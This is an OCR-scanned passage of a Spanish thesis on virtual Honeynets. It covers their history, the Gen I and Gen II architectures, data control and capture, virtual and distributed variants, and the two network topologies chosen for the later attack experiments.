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Resumen

Las Honeynets surgen como una herramienta de seguridad disefiada para ser
sondeada, atacada y comprometida por hipotéticos intrusos. Se componen de entornos de
redes, conjuntos de aplicaciones de analisis y monitoreo, y dispositivos de almacenamiento de
eventos. Luego de realizada la instalacion y configuracion de todos estos componentes, la
Honeynet queda dispuesta para recibir ataques con la intencion de mantener un ambiente
controlado para el estudio de los eventos ocurridos. Luego, mediante el andlisis de esos
eventos, es posible comprender los objetivos, tacticas e intereses que tienen los atacantes para
el entorno propuesto.

En el presente trabajo, se han implementado dos Honeynets virtuales con sus
correspondientes herramientas de seguridad sobre diferentes topologias de red, a los efectos
de estudiar en cada caso un conjunto de ataques previamente seleccionado. Como resultado
de la experimentacion, se ha logrado estudiar el impacto de cada uno de los ataques en cada
una de las Honeynets desplegadas y se analiz6 lo ocurrido para finalmente proponer
metodologias de prevencion o mitigacion de las vulnerabilidades encontradas.
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Abstract

Honeynets emerge as a security tool designed to be surveyed, attacked and
compromised by hypothetical intruders. They consist of network environments, sets of
analysis applications and monitoring as well as events storage devices. After the installation
and configuration of all these components are completed, the Honeynet is ready for receiving
attacks aiming to maintain a controlled environment that will allow studying the occurred
events. Then, by analyzing these events, it is possible to understand the goals, tactics and
interests the attackers have for the environment set.

In the present research, two virtual Honeynets have been implemented with its
corresponding security tools on different network topologies in order to study a set of attacks
formerly selected in each case. As a result of the experimentation, it has been possible to
study the impact of every attack in each of the Honeynets deployed and to analyze the results
to finally propose methods to prevent or mitigate the vulnerabilities found.
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CAPITULO 1

1. Introduccion

Las redes y sus aplicaciones, y en particular Internet, han introducido nuevas
posibilidades que también implican riesgos. Estos surgen a partir de las vulnerabilidades que
poseen los sistemas. La existencia de vulnerabilidades implica amenazas, cuya concrecion son
los ataques.

Las vulnerabilidades pueden ser aprovechadas, con diversos fines, por muchas clases
de atacantes: expertos o legos; interesados en el recurso de informaciéon que piensan
comprometer, o motivados por intenciones en contra de la organizacion que atacan. En los
ultimos afios, la frecuencia de aparicion de ataques ha crecido considerablemente [Wes04].
Este hecho, unido a las vulnerabilidades, descubiertas o latentes, en todo tipo de sistemas
operativos y aplicaciones, convierte a cualquier organizacion en una victima potencial. Este
panorama plantea la necesidad de disponer de instrumentos que permitan descubrir y analizar
los agujeros de seguridad que pueda presentar un sistema, asi como las técnicas y
herramientas utilizadas por los posibles atacantes.

Para prevenir o mitigar cualquier tipo de amenaza es necesario conocer y comprender
las vulnerabilidades constitutivas del entorno. Una de las metodologias para esto es crear un
ambiente de red controlado pero a la vez lo suficientemente atractivo para los atacantes, que
permita detectar comportamientos maliciosos, para estudiarlos, entenderlos y actuar en
consecuencia, ya sea de una manera proactiva o reactiva, sin perjudicar el ambiente de
produccion de la organizacion. Este es el fundamento de las Honeynets [Gall04]

Estos ambientes pueden construirse en base a sistemas total o parcialmente
compuestos por elementos virtuales. La idea de virtualizacion ha sido aplicada, desde hace
bastante tiempo, a diferentes aspectos y ambitos de la informdtica, desde sistemas
computacionales completos hasta capacidades o componentes individuales. El tema en comtin
de todas las tecnologias de virtualizacion es ocultar los detalles técnicos a través de la
encapsulacion. La virtualizacion crea una interfaz externa que esconde una implementacion
subyacente mediante la combinacion de recursos en locaciones fisicas diferentes, o mediante
la simplificacion del sistema de control. Un reciente desarrollo de nuevas plataformas y
tecnologias de virtualizacion han hecho que se vuelva a prestar atencion a este maduro
concepto.

El presente trabajo comprende el disefio, implementacién y despliegue de dos
Honeynets virtuales, la seleccion de cada una de las aplicaciones que la conforman y el
conjunto de ataques a las cuales seran sometidas. El objetivo consiste en contrastar la
informacién suministrada por cada uno de los despliegues, analizar dicha informacion,
brindar una explicacion relativa a lo ocurrido a partir de la informacion recolectada y
proponer las distintas maneras de mitigar cada uno de estos ataques. En el capitulo siguiente
nos referiremos al estado del arte del proyecto Honeynet; en el capitulo tres se describen las

Deteccidn y limitaciones de ataques clasicos con Honeynets virtuales Hugo H. Fernandez



Introduccion

topologias experimentales desplegadas, los ataques seleccionados y el conjunto de servicios y
protocolos que intervienen en la experimentacion; en el capitulo cuatro se describen los
ataques realizados detallando para cada uno:

v

R R < N

v

Su objetivo.

Las precondiciones que lo hacen posible.

El software utilizado en el ataque.

El desarrollo del ataque.

Resultados obtenidos y analisis.

Contramedidas para detectar o neutralizar el ataque

Finalmente, en el capitulo 5 se plantean las conclusiones globales del presente trabajo y
algunas propuestas para trabajos futuros.

Deteccidn y limitaciones de ataques clasicos con Honeynets virtuales Hugo H. Fernandez
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CAPITULO 2

2. Estado del arte de las Honeynets

2.1 Introduccion

Durante los ultimos afios las intrusiones y los ataques informaticos a través de
Internet se han incrementado notablemente. Este incremento en el nimero de incidentes ha
venido acompafiado por una clara evolucion de las herramientas y técnicas utilizadas por los
atacantes.

Parte de los responsables de estas acciones son usuarios avanzados que desarrollan
sus propias aplicaciones y son capaces de crear y utilizar sofisticadas puertas traseras para
introducirse en otros sistemas.

Esta idea generalizada, en muchos casos mitificada sobre el perfil de los intrusos,
hace pensar que solo seran objeto de ataque aquellos equipos que contengan informacion
trascendente. Sin embargo, esto es un grave error. Los ataques selectivos dirigidos por
expertos suponen un porcentaje muy pequefio de los que a diario se producen a través de la
red. La mayor cantidad de incidentes que acontecen en Internet no van dirigidos contra
equipos ni organizaciones especificas, sino que tienen como objetivo la victima facil. El
blanco seleccionado puede ser cualquier equipo conectado a la red que posea una debilidad
especifica que el atacante busca y es capaz de aprovechar para conseguir el acceso al sistema
[Secu].

Por otro lado, hoy no se necesita poseer un gran conocimiento sobre el
funcionamiento de un sistema para poder atacarlo. De hecho, la mayoria de los intrusos se
limita a utilizar herramientas creadas por otros, incluso muchas de ellas pueden descargarse
directamente desde Internet y son muy simples de utilizar.

2.2 El ambiente de la seguridad de la informacion antes de las Honeynets

La seguridad de la informacion en sus primeros tiempos era defensiva, ocupandose de
mantener a los atacantes alejados. Hasta ese momento, las técnicas y tecnologias habian sido
desarrolladas para detener los ataques. Por ejemplo: en el afio 1992, Marcus Ranum llevo a
cabo el desarrollo de los cortafuegos (firewalls) en su realease “TIS Firewall
Toolkit”’[Ranu92]. Esta coleccion de codigo fue utilizada como una de los primeros controles
a redes publicas de acceso por pasarelas con el fin de evitar cualquier tipo de acceso no
autorizado.

Durante aquellos tiempos, los profesionales de la seguridad realizaron intentos para
aprender sobre los ataques y sus atacantes; sin embargo esos intentos fueron limitados en
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esfuerzo y alcance, dado que mucha de la informacion obtenida y publicada estaba limitada
en los detalles técnicos de los “exploits™ utilizados por los invasores, haciendo énfasis en las
vulnerabilidades del objetivo y en la explicacion de como el exploit tomaba ventajas de esa
vulnerabilidad. Un ejemplo de esto lo podemos apreciar en “Smashing the Stack for Fun and
profit’[Alep].

Fue en Octubre del afo 1999 cuando se formoé un grupo de personas que buscaban
aprender mas acerca de ataques, amenazas y vulnerabilidades. Este grupo estaba compuesto
en sus comienzos por: Marty Roersch (desarrollador del sistema de deteccion de intrusos
llamado Snort [Snor]), Cris Brenton, J.D Glazer, Ed Skoudis y Lance Spitzner (autor de: The
Honeynet Project [Hone04a]), autodenominados ‘“Wargames mail list”, trabajaban en la
construccion de computadoras que eran utilizadas para vulnerarse unas con otras,
desarrollando de esta manera habilidades tanto para el ataque como metodologias de anélisis
para comprender como habian sido atacadas. Finalmente este grupo fue creciendo y se
convirtio en lo que se conoce hoy como “The Honeynet Project”’[Hone04b].

2.3 El primer despliegue

El primer despliegue consistié en exponer a una maquina a ser atacada, a la que se
denomind honeypot. Se trabajo en la configuracion de un firewall y en la preparacion de una
maquina victima que pudiese capturar toda la actividad entrante y saliente. El trabajo estuvo
basado en el paper “To Build a Honeypot” [Spit99]. El concepto fue simple: en lugar de
desarrollar tecnologias que emulen sistemas que puedan ser atacados, se expone un sistema
real detras de un firewall para que sea atacado.

La idea fue que el firewall actlie como gateway, permitiendo a los atacantes ingresar
al honeypot, pero limitando los sucesivos retornos. Dicho firewall realizaba el conteo de los
intentos de inicios de conexiones salientes desde el honeypot hasta cierto umbral, que una
vez alcanzado, bloqueaba todas las conexiones restantes [Hone04b].

2.4 Honeynets de generacion I

2.4.1 Arquitectura

La arquitectura tipo de esta clase de Honeynet se compone de una maquina gateway
(llamada firewall) responsable del control de datos y otra denominada (IDS: Intrusion
Detection System / Sistema de deteccion de intrusos) que es responsable de la captura de datos
Figura 1.
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Figura 1: Ejemplo de infraestructura de Honeynet GEN 1.

Basicamente la maquina firewall dispone de 3 interfaces de red (una es usada para conectarse
a Internet, otra para conectarse a la Honeynet y la ultima para conectarse con el servidor de
logs), todas las conexiones desde y para la Honeynet pasan a través de esta maquina gateway.

La maquina IDS/Sniffer posee dos interfaces, donde una de éstas posee una direccion IP para
el manejo y recoleccion de datos. Por otro lado, el sniffing es realizado a través de la interfaz
de red sin una direccion IP asignada (lo que se denomina “stealth sniffing”), este tipo de
interfaces es mas dificil de detectar y atacar directamente.

Cualquier nimero de maquinas victima pueden ser desplegadas en la Honeynet y ademas
pueden ejecutar distintos sistemas operativos.

Cabe destacar que la configuracion del firewall es el principal elemento de defensa de esta
generacion de Honeynets. Las Honeynets GEN I tienen un firewall con una direccion IP
operando en la capa 3, tal que es visible a los atacantes.

Caracteristicas comunes del gateway de las Honeynets GEN I:
- Operan en la capa 3 (IP).
«  Poseen una direccion IP visible a Internet.

« Pueden ser accedidas desde adentro (via Honeynet) o bien desde afuera (desde
Internet).

«  Decrementa el TTL (time to live/tiempo de vida) de los paquetes de entrada.
+  Puede realizar NAT.

« Puede utilizar cualquier caracteristica de firewall, como: reject, drop silently y
reenvio de conexiones a otras maquinas.

« Puede acelerar el ancho de banda usando herramientas provistas por el sistema
operativo.
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La principal ventaja es que es posible administrar remotamente el “Honeynet gateway” sin
necesidad de efectuar ningtn tipo de modificacion en la red local Honeynet dedicada, tal que
configurando el firewall, puede permitir la conexion remota seleccionando una IP de Internet
y efectuar todas las configuraciones en forma remota.

2.4.2 Opciones para el control de datos

Este proceso tiene dos objetivos: el primero, es presentar un escenario lo
suficientemente real y seguro para los intrusos de manera de hacerlos sentir que poseen todo
el ataque bajo control, y fundamentalmente para que actuen como suelen hacerlo al momento
de comprometer otras maquinas victimas. El segundo, es lograr que el ambiente generado
garantice que el dafio que se pueda ocasionar no pueda ir mas alld del ambiente de la
Honeynet.

El control de datos esta dividido dentro de dos categorias:

- Connection Blocking: previene las conexiones excesivas desde la Honeynet, el grado
de aceptacién o denegacion estard directamente relacionado con lo que uno quiera
aprender y el riesgo que seamos capaces de asumir, debido a que permitir mayores
conexiones nos brinda la posibilidad de aprender més pero también genera mas
riesgos.

« Connection Limiting: tiene como objetivo mitigar inundaciones por conexiones
salientes, limitando anchos de banda, etc.

2.4.3 Funcionalidad para la captura de datos

La captura de datos es una funcionalidad que nos permite recolectar y almacenar la
evidencia tanto de la actividad de la red como de las maquinas intervinientes en los ataques a
los que fueron expuestos. La captura de datos, no es solamente almacenar el log o el trafico de
red, sino que es una combinaciéon de monitoreo de la actividad, observacion del “modus
operandi” del atacante y la capacidad de reconocer los distintos perfiles, para interpretar el o
los ataques de una manera més acabada [HoneO4c].

Las categorias de tecnologias para la captura de datos pueden estar agrupadas en 4:

- Almacenamiento de las transacciones de red: IP de origen y destino, protocolos y
puertos involucrados.

« Almacenamiento del trafico de red: Usualmente todo el trafico en binario.

« Almacenamiento de la captura del HOST: Todo lo relativo a la actividad realizada
en el host por el/los atacantes (puede incluir: imagenes del disco duro, logs del S.O.,
etc).

« Alertas de los IDS: Este es el mas importante de todos y aunque esté basado en el
trafico obtenido, es donde las reglas definidas para los distintos patrones de trafico
nos permiten encontrar y/o tomar medidas.

2.5 Honeynets de generacion I1

La creacion de esta nueva “generacion de Honeynets” surge debido a que las “GEN 17
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fueron faciles de detectar. Principalmente la posibilidad de monitorear a los atacantes por un
periodo lo suficientemente largo fue bastante baja. Este problema se manifiesta debido a
limitaciones inherentes de la propia implementacion: primero, las restricciones en el nimero
de conexiones salientes desde la Honeynet y segundo, el excesivo uso de la capa 3 (modelo
OSI) en la comunicacién en dispositivos criticos como firewall, IDS y servidores de logs. Al
revelar su existencia incrementaba notablemente el riesgo de ser objetivos de ataque.

Con las Honeynets de segunda generacion, se mejordo el modo de operacion de
manera de mantener a los atacantes por mas tiempo en la red trampa, y asi poder aprender
mas de su actividad. El proceso de control de datos es mas inteligente en GEN II y por otro
lado, tanto el control de datos como el control de captura fueron implementados en un unico
dispositivo, “The Honeywall”; logrando de esta manera obtener despliegues mas faciles y
seguros disminuyendo a su vez los tiempos por mantenimiento.

2.5.1 Arquitectura

El Honeynet gateway (honeywall) es el componente mas critico de toda la
arquitectura posee 3 interfaces de red, donde se conectan: la red de produccion, la Honeynet

y la interfaz de administracion Figura 2.
| | | ;137

Router
Production Production Production 192.168.1.254
192.168.1.15 192.168.1.20 192.168.1.23

Honeywrall
Gateway

Honeypot Honeypot Honeypot
192.168.1.101 19Z2.168.1.10Z2 192.165.1.103

Figura 2: Arquitectura de la Honeynet Gen 1.

2.5.2 Control de datos

Todo el trafico desde y hacia la Honeynet fluye a través del honeywall, permitiendo
de esta manera la intervencion tanto del firewall como de los componentes IDS (Intrusion
Detection System / Sistema de Deteccion de intrusos) o IPS (Intrusion Prevention System /
Sistema de Prevencion de intruciones) sobre los datos que viajan por la red. La primer capa de
control, consiste en el manejo de las conexiones salientes a través del firewall, permitiendo
conexiones hasta llegar a un umbral determinado, a diferencia de las Honeynets de Gen I que
solo permitian valores muy bajos, lo cual hacia muy corta la permanencia del atacante.
Mientras que la segunda capa de control de datos se conforma por los componentes IDS y/o
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IPS.

2.5.2.1 Modos de control de datos del honeywall

Como enunciamos previamente, este tipo de Honeynet requiere dos capas de control:
la capa de control a nivel de puerta de enlace de la red y la capa de IDS y/o IPS. Estas capas
se complementan unas con otras proveyendo lo siguiente:

- Contencién y control de la actividad que realizaran los atacantes dentro de la
Honeynet.

«  Magnificacion de la apariencia de “libertad” a los atacantes que estan dentro de ella
lo que permitira aprender mas sobre el ataque.

Ambas capas son implementadas en el honeywall, como dispositivos de control, de manera
que pueden operar en los siguientes modos:

« Limitacién de la tasa de conexién: Utilizando un firewall y configurandolo para
prevenir exceso en el nimero de conexiones salientes desde cada uno de los
honeypots intervinientes. Por ejemplo: limitando el numero de conexiones a cierto
numero por hora.

- Rechazo de paquetes: Es un método mucho mas inteligente debido a que esta basado
en el rechazo selectivo de paquetes maliciosos. Este toma lugar dentro de la segunda
capa si se estuviese utilizando IPS.

+ Reemplazo de paquetes: Es un método de proteccion adicional, basado en IPS, para
detectar o disuadir ataques. De manera que, los paquetes no son eliminados, pero se
les efectian cambios con el proposito de dejarlos inofensivos.

2.5.3 Captura de datos

Las Honeynets Gen II aplican las mismas tacticas que en Gen I pero introduciendo
mejoras en los métodos y herramientas, la recoleccion de la informacioén es efectuada en 3
(tres) capas. Estas son: el firewall, el IDS/IPS y los honeypots.

La captura de datos es llevada a cabo por el IDS residente y el firewall. Los logs del
firewall nos brindan informacion acerca de todas las conexiones entrantes y salientes, y por
otro lado, el IDS nos da alertas sobre los patrones de ataques conocidos, esta primera etapa
nos informa acerca de toda la actividad dentro de la Honeynet.

Con el objeto de obtener un panorama mas amplio de toda la actividad, involucramos
a toda la informacion suministrada por el honeypot a través de sus logs, logrando de esta
manera tener nuestra tercera capa de captura de informacion [Hone04d].

2.6 Honeynets virtuales

Las Honeynets virtuales son un concepto relativamente nuevo, la idea consiste en
combinar todos los elementos fisicos de una Honeynet dentro de una tnica computadora,
utilizando para ello software de virtualizacion. Estas no son realmente una nueva tecnologia;
simplemente se toman los conceptos discutidos en los capitulos previos y se implementa en
una unica computadora fisica, logrando un gran simplicidad en los despliegues a través del
software de virtualizacion.
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2.6.1 Ventajas y desventajas de implementar Honeynets virtuales

Las principales ventajas de las Honeynets virtuales son la gran reduccion en los
costos y la facilidad del mantenimiento de toda la infraestructura, esto se debe a que todo esta
integrado en un Unico sistema, y a que es absolutamente factible disefiar y poner en
funcionamiento una Honeynet como la que hemos visto anteriormente.

Aunque por otro lado, debemos tener en cuenta las desventajas inherentes que las Honeynets
virtuales acarrean:

« Limitaciones inherentes: Limitados tipos de sistemas operativos que se pueden
desplegar debido al hardware subyacente y al software de virtualizacion utilizado.

« Incremento en los riesgos: Especificamente, los atacantes podrian comprometer la
seguridad de la maquina fisica, obteniendo todo el control de la Honeynet y de esta
manera podrian corromper todos los mecanismos tanto de control como de captura de
informacion.

- Riesgo de fingerprinting: Fingerprinting es la habilidad para identificar la Honeynet
en forma remota o local. Las Honeynets virtuales poseen “firmas” que las hacen
unicas (como resultado de la virtualizacién). Los atacantes podrian identificar estas
“firmas” y detectar de esta manera el proposito de nuestra Honeynet.

2.6.2 Tipos de Honeynet virtual

Existen dos tipos de Honeynets virtuales: las denominadas “auto contenidas” y las
hibridas.

2.6.2.1 Honeynets virtuales auto contenidas

Este tipo de Honeynets posee toda la funcionalidad de las otras (incluyendo todos los
honeypots), pero contenida en un unico sistema fisico. Como se puede ver en la Figura 3, es
una unica maquina con varios sistemas operativos y con todos los dispositivos de control y
captura.

—

Internet

Host Operating System

Guest 05 Guest OS5 Guest 05

Figura 3: Arquitectura de la Honeynet virtual auto-contenida.
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Algunas ventajas de este tipo de Honeynets son:

+ Portabilidad: Debido a que sélo requieren de una sola maquina fisica es posible
efectuar los despliegues en cualquier lugar.

+ Sistemas plug and catch: Es posible crear Honeynets estandarizadas y desplegarlas
de una forma sencilla dentro de una gran red en produccion, logrando un gran ahorro
de tiempos ya que no se necesita ningln tipo de infraestructura adicional.

+ Son econdémicas y ocupan poco espacio: So6lo es necesario una Uinica maquina, un
puerto disponible para conectar la P.C. a la red y brindar energia para ella.

Algunas desventajas asociadas a este tipo de Honeynets son:

« Existe un unico punto de falla: Si se presentara algiin problema con el hardware la
Honeynet quedaria fuera de servicio.

« Necesidad de altas prestaciones: Si bien se requiere una unica maquina para poder
efectuar el despliegue de la Honeynet, dicha maquina debe poseer grandes recursos
de memoria, almacenamiento y velocidad de procesamiento.

- Especiales asuntos de seguridad: Debido a que toda la Honeynet estd montada en
una Unica maquina y teniendo en cuenta que comparte todos sus recursos de
hardware, si un atacante compromete la misma, es posible que se apodere de
cualquier parte del sistema, incluyendo el gateway.

- Limitaciones de software: Al tener que ejecutarse todo en una unica computadora,
nos vemos limitados en los tipos de software a utilizar. Por ejemplo, es dificultoso
hacer funcionar Cisco Internetwork Operating System (IOS) sobre un chip set Intel.

2.6.2.2 Honeynet virtual hibrida

Este tipo de Honeynets es una combinacion de las Honeynets clasicas y de las de
software de virtualizacion. El honeywall es el responsable de la captura y control de los datos,
siendo éste un sistema separado y aislado, lo que reduce el riesgo de compromiso. Sin
embargo todos los honeypots corren sobre una unica maquina fisica (véase Figura 4)

—

Internet

Honeynet
Gateway

Guest OS5 Guest 05 Guest OS5

Figura 4: Arquitectura de la Honeynet virtual hibrida.
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Algunas ventajas de este tipo de Honeynets son:

«  Son mas seguras: A diferencia de las auto contenidas, si un atacante compromete la
maquina fisica (que virtualiza todo el sistema), se preserva el control de la situacion a
través del honeywall que reside en una maquina fisica diferente.

« Flexibilidad: Es posible utilizar una muy diversa cantidad de software y hardware
para que actie en el honeywall. Por ejemplo, en lugar de utilizar un software para la
captura de la informacion, se podria utilizar algtin dispositivo de hardware para que
efectie ese trabajo (ej. Cisco PIX).

Algunas desventajas asociadas a este tipo de Honeynets son:

+ Decremento de la portabilidad: Al estar constituida por mas de una maquina hace
mas dificultoso poder mover la infraestructura.

« Incrementa los costos y aumenta el espacio: Se produce un incremento en los
costos ya que son necesarios mas equipamiento y conexiones, incrementando de esta
manera el espacio fisico para dar lugar a todo el equipamiento necesario [Hone04e].

2.7 Honeynets distribuidas

Las Honeynets distribuidas pueden tener distintas formas, pero la motivacion siempre
es la misma: Observar la actividad de los atacantes, con la ventaja de poder efectuarlo de
forma concurrente a través de multiples redes. Una de las caracteristicas primarias es la de
poder operar a “grandes escalas”, realizando este tipo de grandes despliegues podemos
detectar si los ataques son de naturaleza regional o no. Esto nos permite identificar
rapidamente los cambios en las tendencias en el comportamiento de los atacantes. Ademas,
dentro de las fronteras organizacionales las Honeynets distribuidas nos ayudan a identificar
facilmente el grupo que esté siendo tomado como objetivo de ataque.

2.7.1 Tipos de Honeynet distribuidas
Existen dos tipos de Honeynets distribuidas:

« Honeynet fisica distribuida: Consiste en la extension logica del disefio de la
Honeynet Gen II, proveyendo la posibilidad de realizar la recoleccion y el andlisis de
los datos en forma centralizada por las multiples Honeynets. Es decir, que existen n
Honeynets remotas que envian la informacion a una base de datos central.

- Honeynets granja: Este tipo de Honeynet combina el potencial de las Gen I y Ila
aplicacion de las VPN (virtual private network), para distribuir los honeypots a través
de Internet.

2.7.1.1 Distribucion fisica

La primer Honeynet distribuida fue desplegada por miembros de la Honeynet
Research Alliance (HRA) agrupando los datos en una maquina llamada “kanga”. Para la
captura de la informacion se utilizo el IDS Snort y los archivos de logs de los firewalls, luego
todos éstos datos fueron enviados via SSH a una base de datos centralizada. El propoésito fue
reunir informacion desde los distintos sitios remotos para proveer una perspectiva global de
amenazas que enfrentaban estos sistemas, como se muestra en la Figura 5.
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Figura 5: Envio de informacion desde cada Honeynet a un servidor
central.

La ventaja mas destacable de este tipo de Honeynet es la informacion centralizada. La
misma, permite compartir toda la informacion capturada de los distintos despliegues de cada
una de las Honeynets configuradas en cada sitio remoto de una manera sencilla y sin
demasiado esfuerzo.

Algunas desventajas de este tipo de Honeynets son:

«  Costo: Son requeridos grandes cantidades de recursos de hardware debido a que cada
sitio remoto debe tener una Honeynet en funcionamiento, lo que incrementa los
costos considerablemente.

+ Puesta en funcionamiento: Requiere efectuar la configuracion y puesta en marcha
de cada una de las Honeynets remotas, lo que aumenta considerablemente los tiempos
para tener el sistema completo en funcionamiento.

2.7.1.2 Distribucién en Granjas

Este tipo de implementacion combina las Honeynets tradicionales con técnicas de
distribucion virtual, lo que reduce de forma significativa los costos y los tiempos de
despliegue. La distribucion virtual nos permite desplegar Honeynets en redes que no estan
relacionadas geograficamente. Es decir, podriamos tener honeypots en distintos lugares del
mundo conectados via VPN a nuestro servidor honeywall (véase Figura 6).

Deteccidn y limitaciones de ataques clasicos con Honeynets virtuales Hugo H. Fernandez



Estado del arte de las Honeynets 20

honeypot Al

Algunas ventajas de este tipo de Honeynets son:

Tiempos: Es posible efectuar el despliegue de una Honeynet en una nueva red en un
periodo muy corto de tiempo, ya que requiere de un router o firewall que tenga
soporte para vpn.

Participacion: Al no tener que efectuar complicadas configuraciones de monitoreo y/
o captura de informacion, se genera un incremento en la participacion de los
honeypots.

Control centralizado: Este mayor nivel de control, le da al analista la habilidad de
rapidamente efectuar el despliegue del honeypot de acuerdo a las necesidades del
momento, sin la necesidad de involucrar a los administradores de cada red que
participan en la Honeynet.

Proteccion: Las granjas de honeypots soportan Hot Zoning' para la proteccion de las
maquinas de produccion.

honeypat A2 UNISEERE

Honeypot Bl

Figura 6: Honeypot remoto unido a la Honeynet a través de un tunel VPN.

1

Hot zoning: Transporte de todo el trafico precedente de un atacante hacia las granjas de servidores, sin que el
atacante perciba el cambio, para realizarlo se utiliza un redirector que es similar a un proxy.
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Algunas desventajas de este tipo de Honeynets son:

+ Problema de latencia: La técnica de distribucion virtual causan latencias que podrian
ser detectadas por un atacante.

+ Aumento de la complejidad: La granja de honeypots utiliza ruteo en lugar de
“bridge” (puentes). Intenta esconder el honeywall de la vista de los atacantes, y esto
repercute en la complejidad de la configuracion.

« Falta de automatizacion: Al ser esta tecnologia demasiado nueva, no existen ain
herramientas que ayuden a automatizar las operaciones de estas “granjas”, lo que
incrementa la dificultad del problema.
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CAPITULO 3

3. Definiciones y justificaciones previas a la experimentacion

3.1 Motivacion y consideraciones generales

Lo primero que se debe recordar sobre las Honeynets es que no son una soluciéon de
Software. No es una aplicacion que puede ser instalada o un producto que puede ser
comprado y configurado. La razon es la siguiente: “Para que una Honeynet opere
efectivamente y capture la informacién, nada puede ser emulado”. Esto ultimo significa, que
no es posible instalar un paquete de software que comprenda en forma genérica todas las
posibles combinaciones de: configuraciones de red, sistemas operativos, servicios a publicar,
cantidad de maquinas a exponer, etc. Si bien existen proyectos que tienen como objetivo
realizar el “Deployment” de Honeynets de un modo “simple”, casi siempre resultan ser mas
complejos y provocan tener que implementar otros tipos de soluciones para satisfacer las
necesidades de la investigacion. La razon de esto es que las Honeynets son arquitecturas cuyo
proposito es crear una red altamente controlada, donde sea posible capturar toda la actividad.
Ademas de los mecanismos de control, también deben existir potenciales objetivos como por
ejemplo: maquinas operativas, servicios reales, puertos de comunicaciéon abiertos,
aplicaciones, archivos o datos de usuarios, etc., con los cuales los intrusos puedan interactuar
dentro de la Honeynet [Hone04{].

3.2 Topologias de red
En esta seccion describiremos las topologias de red seleccionadas para la

experimentacion y explicaremos como se inserta cada modelo en las Honeynets
implementadas.

3.2.1 Clasificaciones de topologias
El término topologia se divide en dos aspectos fundamentales:
- Topologia Fisica
- Topologia Logica

La topologia fisica se refiere a la forma fisica o patron que forman los nodos que estin
conectados a la red, sin especificar el tipo de dispositivo, los métodos de conectividad o las
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direcciones en dicha red. Esta basada en tres formas basicas fundamentales: bus, anillo y
estrella [Tane03].

Por su parte, la topologia logica describe la manera en que los datos son convertidos a un
formato de trama especifico y la manera en que los pulsos eléctricos son transmitidos a través
del medio de comunicacion, por lo que esta topologia esta directamente relacionada con la
Capa Fisica y la Capa de Enlace del Modelo OSIZ.

3.2.1.1 Topologias fisicas

A continuacion se detallan las caracteristicas de este tipo de topologias
[Wikia]:

« Una topologia de bus usa un solo cable “backbone” que debe terminarse en ambos
extremos. Todos las maquinas se conectan directamente a este backbone.

- La topologia de anillo conecta una maquina con la siguiente y a la tltima maquina
con la primera. Esto crea un anillo fisico de cable.

- La topologia en estrella conecta todos los cables con un punto central de
concentracion.

- Una topologia en estrella extendida conecta estrellas individuales entre si mediante
la conexion de HUBs o Switches. Esta topologia puede extender el alcance y la
cobertura de la red.

- Una topologia jerarquica es similar a una estrella extendida. Pero en lugar de
conectar los HUBs o Switches entre si, el sistema se conecta con un computador que
controla el trafico de la topologia.

- La topologia de malla se implementa para proporcionar la mayor proteccion posible
para evitar una interrupcion del servicio.

3.2.1.2 Topologias légicas

La topologia logica de una red es la forma en que las maquinas se comunican a través
del medio. Los dos tipos mas comunes de topologias logicas son broadcast’y transmision de
tokens.

- La topologia broadcast simplemente significa que cada maquina envia sus datos
hacia todas las demas maquinas del medio de red. No existe una orden que las
estaciones deban seguir para utilizar la red. Es por orden de llegada, del mismo modo
que funciona Ethernet’.

2 Modelo basado en Organizaciéon Internacional de Estandares como primer paso hacia la estandarizacion
internacional de los protocolos utilizados en varias capas. OSI significa (Interconexion de sistemas abiertos),
es decir, sistemas que estan abiertos a la comunicacion con otros sistemas.

3 Broadcast, en castellano difusion, es un modo de transmision de informacién donde un nodo emisor envia
informacion a una multitud de nodos receptores de manera simultdnea, sin necesidad de reproducir la misma
transmisioén nodo por nodo.

4 Desarrollado por Robert M. Metcalfe en el afio 1973, estandar utilizado en redes (IEEE 802.3).
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- La topologia transmision de tokens controla el acceso a la red mediante la
transmision de un token electrénico a cada maquina de forma secuencial. Cuando una
maquina recibe el token, ésta puede enviar datos a través de la red, y si no tiene
ningin dato para enviar, transmite el token a la siguiente maquina y el proceso se
vuelve a repetir. Dos ejemplos de redes que utilizan la transmision de tokens son
Token Ring [IEEE99] y la interfaz de datos distribuida por fibra [Domi05]. Arcnet es
una variacion de Token Ring y FDDI, es la transmision de tokens en una topologia de
bus.

3.2.2 Topologias seleccionadas

Debido a la necesidad de generar escenarios para llevar a cabo el desarrollo de la
experimentacion, optamos por dos tipos de topologias distintas, utilizando como criterio de
seleccion aquellas de uso mas comiin en ambitos hogarefios y de la pequefia y mediana
empresa. Como indica la Figura 7, siempre la base fisica sera una unica PC y el resto de los
dispositivos y conexiones seran emulados por virtualizacion.

Router ’7

HoneyWwall

Maquina Virtual A || Maquina Virtual B Maquina Virtual N-1 )| Maquina virtual N

SISTEMA OPERATIVO ANFITRION

Figura 7: Dispositivos fisicos utilizados.
Ventajas
 Facil de implementar y de ampliar, incluso en grandes redes.

- Posibilita el despliegue de una infraestructura de red “a medida” utilizando una tnica
computadora (adecuada para redes temporales).

« Portabilidad.

Desventajas

« La cantidad de maquinas virtuales a desplegar esta limitada a los recursos de
hardware que posea la maquina subyacente.
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+ Los costos de mantenimiento pueden aumentar a largo plazo.
+ Un fallo en la maquina fisica repercute sobre toda la infraestructura.

Switch VDE
e
|
—= — — — 3 g
MV n MV 2 MV 1 Honeywall Atacante
XX.X.n24 XX.X.103/24  XX.X102/24 X XX101L/24  X.X.X.100/24

Figura 8: Dominio de broadcast unico.

La primer topologia, denominada topologia virtual I (véase Figura 8), es una red
donde todos los equipos involucrados, ya sean virtuales o fisicos, e incluyendo estaciones
honeypot y atacante, estan sobre el mismo dominio de broadcast. Comparten un mismo
espacio IP y todas estan sobre el dominio de alcance de protocolos como ARP o DHCP. La
topologia experimental refleja el caso real en el cual la red sometida a ataques es una LAN y
el atacante es un miembro de la misma, posiblemente una maquina comprometida por un
troyano.

Switch VDE
S
MV 3 MV 2 MY 1 (NAT)
YXY.3/24 YXY.2/24 YY.Y.1/24
MY 1 (NAT)
XX.X.102/24 XX-X.L/24
Honeywall Atacante

XXX101/24  XX.X.100/24
Figura 9: Traduccion de direcciones

En la segunda topologia, denominada topologia virtual II (véase Figura 9) existe un
elemento de conmutacion que hace traduccion de direcciones (NAT) y el espacio IP de los
honeypots esta separado del espacio IP del atacante. El router intermedio contiene los
broadcasts, de modo que la difusion de protocolos como ARP y DHCP esta restringida al
espacio local de los honeypots. La topologia refleja el caso en que el atacante se sitiia fuera de
la red que intenta atacar.
